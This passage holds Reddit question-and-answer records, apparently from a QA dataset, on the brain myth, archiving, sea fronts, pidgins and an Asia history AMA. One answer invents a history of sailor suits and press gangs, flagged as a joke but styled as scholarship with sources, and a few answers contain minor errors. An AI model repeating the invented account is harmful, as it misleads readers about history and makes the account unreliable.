{"q_id": "2bpvx5", "title": "the myth that humans only use 10% of the brain. how is it incorrect?", "selftext": "With the new movie coming out and this myth being talked about a lot, can anyone explain exactly how it's wrong?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2bpvx5/eli5_the_myth_that_humans_only_use_10_of_the/", "answers": {"a_id": ["cj7py8h", "cj7qb6k", "cj7s91l", "cj7t8vv", "cj7tmvk", "cj7tph2", "cj7tqmc", "cj7upgb", "cj7vdx1", "cj7vsxy", "cj7weiq", "cj84w70", "cj88787"], "score": [17, 79, 7, 116, 2, 3, 3, 3, 13, 9, 4, 4, 2], "text": ["I'm going to quote an article I read a few hours ago [\"The 10 percent claim is demonstrably false on a number of levels. First, the entire brain is active all the time. The brain is an organ\u2026 In fact, the entire premise of only \u2018using\u2019 a certain proportion of your brain is misguided. When your brain works on a problem\u2014turning light that hits your retina into an image, or preparing to reach for a pint of beer, or solving an algebra problem\u2014its effectiveness is as much a question of \u2018where\u2019 and \u2018when\u2019 as it is of \u2018how much\u2019... Still, the appeal of the myth is clear. If we only use 10 percent of our brains, imagine how totally great life would be if we could use more\u2026 And that\u2019s why the 10 percent myth, compared with other fantasies, is especially pernicious. It has a distinct air of scientific plausibility\u2014it\u2019s a zippy one-liner with a nice round number, a virus with obvious vectors in pop-psychology books, easy to repeat at cocktail parties.\"] (_URL_0_)", "The premise of the movie is that you can get all parts of your brain doing the SAME THING at one time, and therefore the concentration of power can do more stuff. But the brain is like a car. Different parts do different things. You can't get the whole car to go incredibly fast by making the seats and the rear view mirrors to help make it go faster. They just don't do the fast. ", "its wrong in the same way that me saying \"how fast could a car go if it was 100% engine\" is wrong.\n\n\nFirst, lots of the parts of your brain are used for particular things.  The reason your pituitary gland isn't used when you are thinking about math is because your pituitary gland isn't part of the brain that can be used for that.\n\n\nIf you want to use more of your brain, you'd have to find a way to rewire the brain so it can use things like vision processing areas to do thinking.", "When you point at something, you only use 10% of your fingers.  Obviously, that doesn't mean only 1 of your fingers is functional, just that your other nine fingers aren't needed for that activity.  Also, it doesn't mean using 100% of your fingers to point at something would make you \"better\" at pointing, you would just look like a weirdo trying to cast some kind of wizard spell.", "It's sort of like how when you're typing, you're only using one key at a time,you could push ever key all the time, but it wouldn't get you a desirable result.  All of your neurons could fire at once, but that's not going to give you superpowers.", "saying that humans only use 10% of their brain is like saying a pilot only uses 10% of the controls in their plane. \n\nwe use 100% of the brain, just not all at once. Imagine if the pilot in my scenario tried to activate every control at once? his plane would crash. Likewise you would have a seizure. ", "Instructions to use 100% of your brain. Go jogging, while sleeping, and picking up pins with pliers with one hand while drawing with the other hand, eat food while you are doing it, and have a discussion about math while citing sources from memory. Well, that's probably only 50%, but you get the point.", "Your brain uses a *lot* of calories. If humans only used 10% of it, there would have been huge evolutionary pressure to eliminate the other 90% to conserve energy.", "_URL_0_\n\ntl;dr It's a old old old urban legend that most likely sprung from the misunderstanding when someone says the average person only develops about 10% of their mental capacity, which is not the same as only using 10% of your brain. The intended point was that your average person is capable of doing a lot more cognitively if they take the time to learn and train.  ", "That Lucy movie looks to be based on a premise that's dumber than a pile of rocks", "Saying that humans use only 10% of the brain is like we only use 33.3% of the stop light. \n\nI read this simile and it rung very true to me. Just because only 1 light is on, does not mean we will only ever use that one light. We have access to all 3 lights, 100%, we just use 1/3 of it at a time.\n\nThis is similar to the human brain, different parts of the brain work at different times.", "The closest analogy i've heard is that it's like having a garage full of tools, it would be idiotic to think that using all your tools at once would be beneficial or a good idea for a task. \n\nThe myth then is in saying that we use 10 percent of our brain, rather it should be more correctly stated as: at any given time 10 percent(but not necessarily the same ten percent) of our brain is active because this is an efficient use of resources.", "The idea that humans can do more by using all of their brain at once is like saying you can get a car to fly by stomping on the gas while pulling the emergency brake."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.dailydot.com/opinion/10-percent-brain-myth-wrong-internet/"], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Ten_percent_of_brain_myth"], [], [], [], []]}
{"q_id": "1h0azs", "title": "How could someone best preserve their life and surroundings for future historians?", "selftext": "Assuming that no one else in our world did anything special, how could some enterprising mind best record and preserve things for the historians of the future? I would assume that they would search for different things (great man, social history...) than we do today or have previously, so what would one do about such things? [Edit, that is, how could a single person best help historians?]\n\nSomewhat relatedly, have there been any historians to write their works to historians in the future?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1h0azs/how_could_someone_best_preserve_their_life_and/", "answers": {"a_id": ["capl6eq", "capo6gm"], "score": [5, 2], "text": ["I suppose that you would, ideally, be doing something not particularly mundane, but fairly widespread in current times. You would be doing it with things that are fairly non-flammable, in a fairly non-flammable building, and anything you are reading should be embossed, and non-flammable. Maybe carve the information you want to pass on to the future into the walls. \"Hitler was a ****\" and so on. You should also be doing this while a pyroclasm is hurtling towards you at a few hundred miles per hour. The problem then becomes how do you make sure they'll find it, but given enough time, someone will probably try to build a house on your smouldering remains and manage to put a pickaxe through your skull. \n\nFor less spectacularly apocalyptic preservation, the best bets are to ensure the the item, idea, book, whatever, is under human care: Book being kept in good conditions and monitored, being copied and spread. Artworks being kept away from light and humidity and heat, and if possible oxygen. So if you're crazy loaded, set up a massive fund for a university to preserve said item in perpetuity as a requirement for the enormous grant you gave them, and if they go tits up that they should take action to ensure its survival and recording. There aren't a lot of surviving original books and stories, but we have a lot of very old texts because they were copied down over the centuries.\n\nIf you want knowledge about some particular thing to survive, you want as many people to create things referencing it as possible. The more books, paintings, movies, statues, whatever, that reference this thing, the better the odds that enough will survive long enough that someone will learn something about it long after it has faded into obscurity. Again, mass copying is better still.\n\nCarving it into a moutainside is probably not a bad idea either, I suspect that Mount Rushmore will look loosely like four human heads for a very, very long time. You might also consider tossing the thing in question into a peat bog, assuming that the item is not currently alive enough to object to this.", "I'm an archives-librarian, so I have some ideas, but first: is your question how could a single person best preserve all of human history in case the Internet blows up or something, OR is it how could a single person best produce a record of their life that would be of use to historians? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cm38bf", "title": "Why is there a picture of Katharine von Bora gagged? Is it because of the plague?", "selftext": "_URL_0_", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cm38bf/why_is_there_a_picture_of_katharine_von_bora/", "answers": {"a_id": ["evzpep5"], "score": [3], "text": ["Haha, she's not gagged--she's in mourning. It's a 1546 woodcut, the year Martin Luther died, and the headline is roughly \"Katharina, wife of Dr. Martin: Luther's left-behind wife pictured in her sadness.\"\n\nI can't read the text passage entirely; too many of the words are too blurry. But it seems like some kind of prayer for a person whose spouse has just died."]}, "title_urls": [], "selftext_urls": ["https://upload.wikimedia.org/wikipedia/commons/thumb/e/e9/Katharina-von-Bora-08.jpg/440px-Katharina-von-Bora-08.jpg"], "answers_urls": [[]]}
{"q_id": "21yhvs", "title": "Why did families in the 19th/early 20th century dress male children in sailor outfits?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/21yhvs/why_did_families_in_the_19thearly_20th_century/", "answers": {"a_id": ["cghoa05"], "score": [16], "text": ["[WARNING THIS IS TOTALLY A JOKE NONE OF THIS IS REAL. READ MOD NOTE HERE](_URL_1_)\n\n\nI'm sure most people are aware of the concept of press gangs, but for those that aren't I'll briefly explain. The Royal Navy would often send a detail of 6-10 men ashore with the assigned task of collecting as many able bodied men and boys as young as six years old for the ships company using whatever means necessary. Coercion and incitement of adventure and a large share of prize money were used for the most part to get new recruits, but getting men drunk and bringing them aboard passed out, or outright kidnapping boys wandering alone were not unheard of either.\n\nFor awhile, the Royal Navy turned a blind eye to this issue as they felt it was a necessary evil in order to ensure they had sufficient manpower to man their fleets, especially in times of war. Families often weren't aware their loved ones were gone until the next day and by that time, the ship had left port. Neither the pressed sailors family nor he could really do anything about it aside from deserting at the first port of call (and this was a very common occurrence, and thus a vicious cycle). \n\nFamilies in Cornwall and other coastal areas, who came from a rich tradition of sailing and manning the majority of the Royal Navy's ships for many years, were wise to the risk press gangs posed on their loved ones. Press Gangs only sought to actively press men and boys who were not currently members of another RN Ship or in the service of his or her majesty (so soldiers, marines, etc). This was followed strictly by press gangs as impressment of current members of another ships company would be detrimental in that officers would be constantly poaching the resources of each other or other branches of the military, effectively causing manpower issues that were easily avoidable.\n\nSo in order to prevent one's child from being taken by a press gang, families began to dress their children at a young age in sailor outfits, especially during the wars of the French Revolution, as the Royal Navy began a massive recruitment drive in order to man their ever increasing navy. Soon, press gangs were at a crossroads when confronted with the fact that most children in port cities would be dressed in sailors garb when rumors flowed that the press gangs were about and there was no real way of telling if the child was already in another ships company aside from checking muster rolls. Soon this was no longer an issue as the First Sea Lord, Sir George Cockburn, ordered that press gangs no longer press any man under the age of 15. At that point though, the fashion stuck, and soon families would dress their children in sailors garb during family events and when Fleet Weeks were occurring. This continued to be a tradition primarily in England but also in the Northeastern United States until around the first world war, where the fashion began to decline.\n\nNow you're probably thinking, well why didn't the men do this. Simple reason, men if suspected of impersonating an officer or sailor in the royal navy without actually being one, could be jailed or even hanged for the offense, though typically the punishment was just being pressed into the navy's service anyways.\n\nSources:\n\n*The Effects of the Battle of Sluys upon the Administration of English Naval Impressment* by J.S. Kepler, Speculum Vol. 48, No. 1 (Jan., 1973), pp. 70-77 \n\n*Subjects vs. Citizens: Impressment and Identity in the Anglo-American Atlantic*  by Denver Brunsman Journal of the Early Republic, Vol. 30, No. 4 (Winter 2010), pp. 557-586\n\n[*The Royal Navy since 1815 : a new short history* by Eric Grove](_URL_2_)\n\n[*Tars : the men who made Britain rule the waves* by Tim Clayton](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.worldcat.org/title/tars-the-men-who-made-britain-rule-the-waves/oclc/148294693&amp;referer=brief_results", "http://www.reddit.com/r/AskHistorians/comments/21yyci/important_message_re_source_reliability/", "https://www.worldcat.org/title/royal-navy-since-1815-a-new-short-history/oclc/56526616&amp;referer=brief_results"]]}
{"q_id": "16zfuk", "title": "when two different countries meet for the first time (for example, when europeans first landed in america.) how do they end up understanding and translating one another's language?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/16zfuk/when_two_different_countries_meet_for_the_first/", "answers": {"a_id": ["c80sl33", "c80stcb", "c80tdpw", "c80utgf"], "score": [3, 2, 30, 6], "text": ["I've always thought about this! Like how Columbus communicated with the Indians.\n \nI'm assuming a lot of hand gestures and drawings ", "To use your example, the Pilgrims were blessed with the good fortune of finding a Native American who JUST SO HAPPENED to speak fluent English.\n\nHis name was Squanto, and he was kidnapped by an Englishman before the Pilgrims first landed. He eventually made his way back to North America, learning English along the way. However, his original tribe had been wiped out by disease. He joined up with a different tribe and met the Pilgrims during their first winter. As you can probably tell, the Pilgrims were not the first Englishmen to go to North America.\n\nAs for other cultures, they usually have no idea how to speak each other's languages when they first meet (which usually ends in bloodshed). Subsequent meetings use interpreters, usually natives who were either kidnapped or went of their own free will, and were taken aboard and taught English, or whatever language it is. ", "If peoples engage in regular trade, they end up developing a *pidgin*: each side's traders ends up knowing some words from the other side, and they arrive at a basic system of communication for their transactions. If the contact persists and deepens, if people start intermarrying or otherwise living with the other side, they might pass the pidgin to their children as a mother tongue; because all mother tongues need to have a full-fledged grammar (while pidgins don't), these children will adapt the two languages' grammar into a new one, with vocabulary from the pidgin, forming a *creole* language.", "I'm not too sure about specific european/amercian examples, but most likely they must have started by developing loanwords, which basically means borrowing vocabulary and specific names for objects/places/actions etc. This could also extend to grammatical structures. In other scenarios, pidgin and creole languages have been adopted. Pidgins are a simplifed or dumbed-down version of a more complicated language, often occuring when one language is dominant to another. Examples of these are often found in ex-territories from the British empire, or trade routes. \n \nA creole language is usually formed after a pidgin. This is a stable language, which is learned by following generations as a first language. A good example is the Guadaloupe creole, which is a mixture of French and Africaans. It becomes more complex and attains much more strict grammatical rules and structure. \n \nMy parents are both fluent in the creole language spoken in Papua New Guinea 'Tok Pisin' (stemming from 'Talk Pidgin'), and many words are recognisable, however an english speaker wouldn't understand without lessons. It is still a simpler language, or example often a word like 'pire' (meaning 'fire', because they have trouble making an 'f' sound) can also be used for any kind of heat, burning or even cooking.\n \n\nMore fun examples of Papua New Guinea creole:\n \n*'as ples bilong em' = arse place belong him = his birthplace\n \n*'bagarap' = bugger up = to break down/broken\n \n*'solwara' = salt water = ocean\n \n*'maus gras' = mouth grass = moustache\n\nI have no idea if this helps, but it can at least be an interesting sidenote. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "13mhv9", "title": "Is it true that the North Sea and the Baltic Sea have a \"border\"?", "selftext": "_URL_0_\n\n\\^Alright, so I've seen this picture a lot, with people saying that it's the place the North Sea and the Baltic Sea meet, accompanied with text claiming that the waters never mix. I know that the waters obviously mix, there's no way that it could be a perfect border, but I was wondering if this is a special phenomenon or is this actually how the ocean always looks? Basically, was this picture taken under any special weather circumstances that made the seas look like this or does it look like this by default?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13mhv9/is_it_true_that_the_north_sea_and_the_baltic_sea/", "answers": {"a_id": ["c759qhu", "c759s80", "c75bsfw", "c75gav9"], "score": [13, 25, 7, 4], "text": ["What is shown is an [oceanic front](_URL_1_).  They are common but not ubiquitous. They are not always so visibly apparent as this example - it depends on the contrast of the water types on either side.  Ocean fronts are akin to cold-fronts and warm-fronts in the atmosphere and shown on weather maps.  Some are semi-permanent features, such as the [subpolar fronts around Antarctica](_URL_0_) while others may only form at certain times of the year. ", "This picture pops up every now and again, theories range from different salinity levels to different temperatures, both somewhat plausible.\n\nHowever, the picture [was actually taken in Alaska](_URL_0_), nowhere near the baltic or north sea.", "If you go to the northern tip of Jylland, Denmark, and a Place called Skagen then you can see the waves of the two seas clash. I can't say anything about this picture though.", "Water masses are differentiated broadly by density, which is a function of temperature and salinity.  Different water masses actually can be quite discrete, and essentially form \"borders\".  On a larger (and more  stable) scale than these surface fronts, the oceans are basically formed of relatively consistent and predictable water masses, based on the salinity and temperature conditions where they form at the surface, before eventually sinking (as part of global Thermohaline Circulation (_URL_0_).The presence and location of larger water masses actually can play a part in determining 'border' between different oceans and seas in the essentially interconnected global water mass.   In any case, wherever this photo was taken, what you see is the meeting of 2 separate water masses, which is also why you get that nice line of foam (unless those are breakers? Hard to tell at this scale)- the floating foam gets stuck at the pycnocline where the density changes. The colors, as a few folks mentioned, would be different not because salt content or heat directly changes color, but because it effects what is growing in the water.  Alternately, if it's a meeting of terrestrially-sourced fresher water and oceanic salty water the color could be due to suspended terrigenous material and color dissolved organic matter.  Likely it's a combination of all of the above\n\nSource: I'm an oceanographer."]}, "title_urls": [], "selftext_urls": ["http://bobbiblogger.files.wordpress.com/2012/01/baltic.jpg"], "answers_urls": [["http://en.wikipedia.org/wiki/Antarctic_Convergence", "http://en.wikipedia.org/wiki/Front_%28Oceanography%29"], ["http://www.flickr.com/photos/kentsmith9/4955772693/"], [], ["http://en.wikipedia.org/wiki/Thermohaline_circulation"]]}
{"q_id": "14bv4p", "title": "Wednesday AMA: I am AsiaExpert, one stop shop for all things Asia. Ask me anything about Asia!", "selftext": "Hello everyone! I'm getting geared up to answer your questions on Asia!\n\nMy focus is on the Big Three, China, Japan and the Koreas. My knowledge pool includes Ancient, Medieval as well as Industrial and Modern Eras. \n\nMy specialties are economics, military, culture, daily life, art  &  music, as well as geopolitics. \n\nWhile my focus is on China, Japan and Korea, feel free to ask questions on other Asian countries. I am particularly familiar with Singapore.\n\nDon't be afraid to ask follow up questions, disagree or ask my to cite references and sources! \n\nHopefully I can get to all your questions today and if not I will be sure to follow up in the days to follow, as my hectic work schedule allows!\n\nAs always, thank you for reading! Let's get down to business, shall we?\n\nEDIT: This is quite the turnout! Thank you everyone for your questions and your patience. I need to step out for about 5 or so minutes and will be right back! // Back!\n\nEDIT 2: 7:09 EST - I'm currently getting a lot of \"Heavy Load\" pages so I'll take this as a cue to take a break and grab a bite to eat. Should be back in 20 or so minutes. Never fear! I shall answer all of your questions even if it kills me (hopefully it doesn't). // Back again! Thank you all for your patience. \n\nEDIT 3: 11:58 EST - The amount of interest is unbelievable! Thank you all again for showing up, reading, and asking questions. Unfortunately I have to get to work early in the morning and must stop here. If I haven't answered your question yet, I will get to it, I promise. I'd stake my life on it! I hope you won't be too cross with me! Sorry for the disappointment and thank you for your patience. This has been a truly wonderful experience. Great love for AskHistorians! Shout out to the mods for their enormous help as well as posters who helped to answer questions and promote discussion!\n\nALSO don't be afraid to add more questions and/or discussions! I will get to all of you! \n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/14bv4p/wednesday_ama_i_am_asiaexpert_one_stop_shop_for/", "answers": {"a_id": ["c7bni9z", "c7bnl5w", "c7bnlly", "c7bnqfe", "c7bnv1z", "c7bo00o", "c7bo4xg", "c7bo6vb", "c7bo77b", "c7bo863", "c7bobts", "c7bodpp", "c7bok8l", "c7boscm", "c7bosiu", "c7bp2r4", "c7bpa2h", "c7bpikz", "c7bpm4x", "c7bpnmi", "c7bpo9r", "c7bptj2", "c7bpyjh", "c7bq9ad", "c7bqsth", "c7bqvzw", "c7bqxei", "c7br0mg", "c7bra8h", "c7bre1j", "c7bruni", "c7brvy8", "c7bs56z", "c7bs580", "c7bser7", "c7bsm0m", "c7bst37", "c7bt33t", "c7btna1", "c7btndc", "c7bu76i", "c7bubbb", "c7bubch", "c7buigx", "c7bvewq", "c7bwl6g", "c7bwof3", "c7bwsy6", "c7bz9xj", "c7bzu30", "c7c0kx4", "c7c0n5k", "c7c510o", "c7caxyf", "c7chx9b", "c7vl15h"], "score": [93, 44, 14, 14, 24, 26, 4, 5, 5, 6, 16, 13, 6, 5, 5, 5, 3, 2, 22, 3, 4, 2, 2, 7, 3, 11, 2, 25, 2, 3, 2, 2, 8, 2, 2, 2, 2, 51, 2, 44, 2, 10, 2, 3, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2], "text": ["Note: some of my questions are about language. Since this isn't one of your stated areas of expertise, feel free to skip them if you don't know the answers. I asked them anyway since perhaps someone else could respond as well.\n\n1. Ever since the [Japanese asset price bubble](_URL_17_) collapsed starting in 1991, the Japanese economy has been unable to properly recover. What do you think has caused this to happen? Was there a fundamental change in the Japanese economy and/or society following the collapse, or has it just been an unlucky confluence of events over the years, such as the global financial crisis of 2008? Also, now that Japan has entered its third \"[lost decade](_URL_0_)\", do you see things turning around any time soon? Are there any signs of change in the Japanese economy yet? What are the major impacts on Japanese society as a result of this decades-long economic slump?\n\n2. In [a book I'm currently reading about court life in Heian Japan](_URL_11_), the foreword characterizes Japanese international relations as a fluctuation between periods of intense interaction with the outside world and isolation from it, like a pendulum. This stretches all the way back to interactions with China before Europeans arrived in Asia, but also applies to more recent events, such as [sakoku](_URL_3_), the [Meiji Restoration](_URL_20_), the subsequent militarization of Japan in the first half of the 20th century, and then its defeat and reintegration with the West. Would you agree with this assessment? If so, do you think that Japan is currently in a period of isolation? If so, how/when do you see it going back to a period of interaction? This usually happens after some catastrophic event (the Meiji Restoration, defeat in WW2), and I thought last year's earthquake might be it this time, but that doesn't seem to have materialized.\n\n3. There was a recent incident of [a tunnel collapse in Japan](_URL_1_). One of the cited factors for this happening was [a preponderance of aging postwar infrastructure that badly needs to be replaced](_URL_4_). Given the traditional Japanese propensity for [frequently replacing homes](_URL_6_) (I also recall reading that some temples would be rebuilt long before they needed to be, in order to ensure skill transfer to the next generation), why has this not applied to so much of the other infrastructure in contemporary Japan?\n\n4. To what degree was Classical Chinese used in premodern Japan for writing/record keeping, and in what contexts? I have experience reading [kanbun](_URL_7_), but everything has ultimately been of Chinese origin (*Analects of Confucius*, *Romance of the Three Kingdoms*, etc.). All the works written by Japanese people that I've read so far have been in classical Japanese. Can you give some examples of specific genres or works of importance written in Japan in classical Chinese? How well would the writers of these have known classical Chinese? Would they have made frequent grammatical errors or inadvertently mixed in native Japanese grammatical/lexical patterns? Did they need/use kunten, or could they read the hakubun alone? \n\n5. Can you compare/contrast the use of/fluency in classical Chinese among the aristocracy in premodern Japan to that among [Joseon](_URL_15_)-era Korean [yangban](_URL_2_)? In premodern Japanese, we see the gradual development of a distinct kanji-kana hybrid system that perhaps encouraged the use of kana and Japanese grammar in Japanese writing, and eventually developed into the modern Japanese writing system. Did such a mixed script come into use with hangul gradually over time, or is it something that was instituted during the [Gabo Reform](_URL_14_), as a result of Japan's growing influence at that time? I recall reading that hangul was banned by [Sejong the Great](_URL_13_)'s successor, but to what degree was it actually still used by the people?\n\n6. Can you compare/contrast kanbun with [gugyeol](_URL_19_), and [Man'y\u014dgana](_URL_5_) with [idu](_URL_18_), in terms of their uses, users, influence/importance in society, difficulty of learning/use, and technical method of converting classical Chinese into comprehensible Japanese/Korean?\n\n7. Until around 1990, the use of [hanja](_URL_12_) in Korean newspapers was quite common, as was vertical writing (\uc138\ub85c\uc4f0\uae30). What changes do you think spurred their decline since then? Did it have anything to do with the democratization of the country in the late 1980s?\n\n8. In my opinion, kanji are essential for disambiguation in written Japanese, but clearly written Korean has no such problems with not using hanja (for the most part) and sticking to just hangul. What are some of the linguistic differences between Korean and Japanese (particularly in terms of phonology) that have allowed the Koreans to abandon hanja in a way that the Japanese have not been able to abandon kanji? Do you think there are any practical ramifications on their respective educational systems as a result?\n\n9. [This post](_URL_8_) on *The Verge* discusses Japan's difficulty in adapting to the modern, digital system of content distribution. When Americans and other Westerners are moving towards services like Netflix and iTunes, the Japanese continue to purchase/rent DVDs and CDs in vast numbers. Why do you think contemporary Japanese society has been so reluctant to move to digital media, and how/when do you see this changing, if at all?\n\nAnd a shameless plug: I have [a blog that translates/discusses classical Japanese texts](_URL_16_), if anyone's interested. I'm currently working on two texts, one from the Heian era - *Konjaku Monogatarishuu* (published in the 1100s), and one from the Edo era - *Shunshoku Umegoyomi* (published in the 1830s). The introductory posts for the two works are [here](_URL_9_) and [here](_URL_10_).", "How have the Chinese viewed Pandas over the years? Have they ever been a source of food or have they been seen as sacred in a sense? ", "I am currently researching the economic structure of the Qing era. I am investigating the reasons as to why the Chinese of the Qing had such a hard time adapting to the new, global, maritime economy.\n\nI have researched much about the inflow of silver into China at the time but I am currently more in the hunt for internal policies that contributed to this.\n\n**I was hoping to draw some sort of connection between the prevalence of the Civil Service Exam System and the failure to adapt economically. Perhaps the Chinese ethos of the time was to succeed domestically and participation in the exam system was greatly encouraged and rewarded. As such, the Chinese focused more domestically than internationally. Do you think there is truth in that argument? It is only an inkling at the moment but I am searching for sources that could help me make the argument. Do you know of any that you may be able to point me in the direction of?**\n\nThank you for the AMA!", "How has China managed to control such a large footing in Asia considering they were controled by external forces for a large majority of time? Is it duej to some sense of nationalism where the Chinese did not assimilate with their conquerers?", "How did the rise of Ghengis Khan affect the d\u00e9veloppement of China in the long term?", "When I was in Manila, I was amused to see the guy who killed Magellan considered the first hero of the Philippines in that big park with statues of heroes. For how long has he been considered a hero and symbol of anti-colonialism in the Philippines? ", "I have done research about organizations for the blind in Heian, and Meiji Japan. Can you think of any such organizations for blind or disabled people in pre-modern times in other Asian countries?\n\nI will add an article that talks about one such group\n\n_URL_0_", "Thanks for doing this\n\nI have a couple questions about Nara and Heian Japan\n\n1. The affect Shotoku and his commandments actually had on Japan, and Buddhism in Japan?\n\n2. Why the Emperor and royal family was never removed in Japan as it was in China and Korea? (I know the whole like a god idea behind the emperor, but i believe the very first Chinese emperors were risen to the level of gods, yet they were still overthrown)\n\na couple questions about asia in general (these are some what opinionated but your opinion is welcome)\n\n4. Women in Asian societies were often free at the early stages of civilization some even being empresses, why then in all cultures of east Asia do you see women oppressed as they advanced through history? \n\n5. The East Asian countries were quite advanced and at a similar level if not beyond that of Europe during the Ming period why then did they not open up to trade and colonize, but instead isolate themselves, closing their borders to many new influences?\n\nThanks again", "I'm curious about the Spratley and Paracel island dispute.  Has the belief that these, and other islands in the SCS, belong to China been consistent within Chinese power circles?", "How far south did Chinese maritime activities extend prior to, let's say, the early-mid 17th century? To what extent were Chinese (or Korean or Japanese) cartographers/explorers/official aware of the various islands in the Western Pacific? (I'm already vaguely aware of Zheng He's voyages west)", "When I was in South Korea, I was surprised to stumble upon several Nigerian neighborhoods.  I've also heard that there are a large number of Nigerians living in China.  Do you know when, how or why such a large population of Nigerians have come to settle in these parts?\n\n\n\nThanks for doing the AMA.", "Why did China recover more quickly from the fall of the Han Dynasty than the Mediterranean did from the fall of the Roman Empire?  I [posted this question five days ago](_URL_0_), but never got an answer from an expert.\n\nGenerally, what do you think of Ian Morris's *Why the West Rules -- for Now* and John Keay's *China: a History*?  Can you recommend any other English-language books about Imperial China that are available on Kindle?  What about translations of Chinese classics?\n\nTo what extent do you think Communist China was or continues to be influenced by China's vast cultural heritage, maybe even despite itself?  To what extent did the Communists really strike out in an entirely new direction?\n\nAnd thank you, Ian Morris's book got me interested in the history of China, so this is a timely AMA for me.\n\n", "What happened to non-Chinese people living in areas that are now part of China? Were they culturally assimilated or pushed out or what? Were they very different from Chinese people or closely linked to begin with?", "How did Falun Gong came to rise in China? Why did it gain so much popularity so fast?", "Why are Yu the Great and the other \"Sage-Kings\" of China so well ingrained in the culture when they may or may not have existed? My Chinese culture professor only touched on the subject and it confuses the hell out of me. The idea of non-confirmed history being accepted as fact based on a single book mostly (Sima Qian's Records of the Grand Historian). Sorry if this sounds ignorant but I am legitimately curious about all of the historical context of these legendary rulers.", "Are the Tatar people Mongol or Turkic? Did the Turkic people have Mongol origins? Do you consider Armenia and Georgia to be Asian?", "Just tell me the main points of what was going on in 950-1050. I'm fascinated by that era but don't know squat about Asia at that time.", "What's your opinion on Bushido in Japan?  Specifically, are you of the belief that the Japanese considered (and/or still do consider) Bushido to be a central part of their lives?  Or do you think that the idea was too inconsistent with Japanese actions to be considered a widely held belief by the Japanese (a la \"Bushido or Bull?\" by Karl Friday)?\n\nOn a semi-similar note, have you read Musui's Story?  If so, how did you like it?  In all my studies of Bushido, it has to be my favorite insight into Tokugawa Japan.", "Did you do anything to prepare for the AMA?", "What is the importance of Camels in Ancient China?", "Hi AsiaExpert - thanks for availing yourself to our questions!\n\nChecked out some of your previous posts/comments and gathered that you are a Western expat living in Japan, very cool. A couple of questions for you:\n\n- What made you so interested in learning about East Asia?\n\n- What are some good sources (easy to digest) you recommend for reading about the Chinese dynasties?\n\n- I'm planning a big trip to Asia with some friends and would like to check out Japan and/or Korea. Anything in particular you recommend we check out? Is there a significant language barrier for us Gaijin? Do they take kindly to Asian Americans?", "Before the 19th century, was China always one of the most advanced societies in the world? If so, why?", "This is a rather obscure and somewhat meaningless question, but I've noticed that each Chinese dynasty had a different hat/crown that the emperor would wear in his portraits. Was there a specific reason why each dynasty had a different style?", "Are there any specific events from Chinese history that you think more Westerners should be aware of?\n\nFor example, I was very surprised to learn that while the American Civil War was going on, there was [a civil war](_URL_0_) going on in China that killed more people than were even alive in America at the time (upper limit on casualties is 40mil, America only had 31mil at the time).", "Why is South Korea so westernized compared to say Japan and China? I'm not sure how to put it but it seems koreans idolize or imitate the West the most of East Asians.\n\nHow did Christianity take such a strong foothold in South Korea?", "I am going to first use this as an opportunity to plug the massive China AMA on December 28.\n\nNow, a couple questions:\n\nFirst, as you may be aware, Chinese archaeology of the Bronze Age has been shifting towards a multiregional model over the past two decades, and very sharply in the past ten years. This is all in line with the evidence and I don't dispute it, but it also seems to me that this development has been influenced by factors above the ground, so to speak, and outside of simple explanations such as the admittance of true foreign collaboration starting in the 1990s or the increase in funding after the Xia-Shang-Zhou chronology project. I feel this because the Chinese government has traditionally kept fairly strict control over archaeological research. Has there been a rise in regional identity and institutions in the past two decades?\n\nWhy does Korea have its own writing system?", "I wrote a final for a Japanese history class positing that the reason Christianity is so prevalent in (South) Korea was due to the Tokugawa Shogunate kicking out all foreigners, and specifically Christians, in Japan.  Was I anywhere near the mark?", "Yay AsiaExpert! I've been looking forward to this. Okay, so my boyfriend took a class at uni on representations of sexuality in East Asian culture, and I shamelessly stole and read all the books he brought home because that shit is seriously fascinating. One of the books in his assigned reading was *Passions of the Cut Sleeve* - what can you tell me about male concubines in the culture of East Asian countries? How, if at all, has the status attained by those men affected the way homosexuality is viewed in the modern day?\n\nAlso, you have no idea how much will power it took for me to not link to a YouTube video of \"Let's Get Down To Business (To Defeat The Huns)\" from Mulan in reply to the last line of your post. If I weren't a mod I might have just gone for it anyway.", "The battle of Khalkin Ghol/Nomonhan was fought between the Soviets and Japan in 1939 with the soviets winning. It's often been mentioned as an indicator of the generalship of Zhukov and that it led Japan to concluding that war with the Soviets would be a bad idea.\n\nDo you happen to know how widely known this battle was in the greater world at the time? It seems to me that if this was known perhaps Germany would not have underestimated the red army the way they did? \n\nOr was it perhaps a case of battles with non-european nations not really counting?\n\nDid japan really have serious designs on invading Siberia that were checked by this defeat or was the pacific attack option always the strongest?", "How was the Pomeranz-Huang debate seen by the experts in the field?  \n\nThose of us with only cursory knowledge (I'm a Marxist, so I'm often dealing with international and comparative issues, but cognizance of price differentials of rice in the Yangzhi ~1805 is not something I can talk about with any real ability) just sort of read and tried to construct best understandings based on the evidence, but it really seemed to split the Asian and World History folks departmentally.\n\nAnonymous thoughts and opinions on the matter?", "Could you possibly outline the basic factors that led to Communism and China as well as how that differed from communism in Central Asia (Uzbekistan, Kazakhstan, Turkmenistan etc.) under the USSR?  I know its a broad question, but I'm quite unfamiliar with the topic.", "Do you think the rise of the Nationalist government followed by the CCP in China represents a decisive break with China's imperial past, or are the similarities between the behavior of the current government and past regimes enough that they can be considered part of a continuum?  In other words, is the Communist Party just another dynasty, or does it represent something genuinely new in Chinese historiography?\n\nI'm curious because this is a 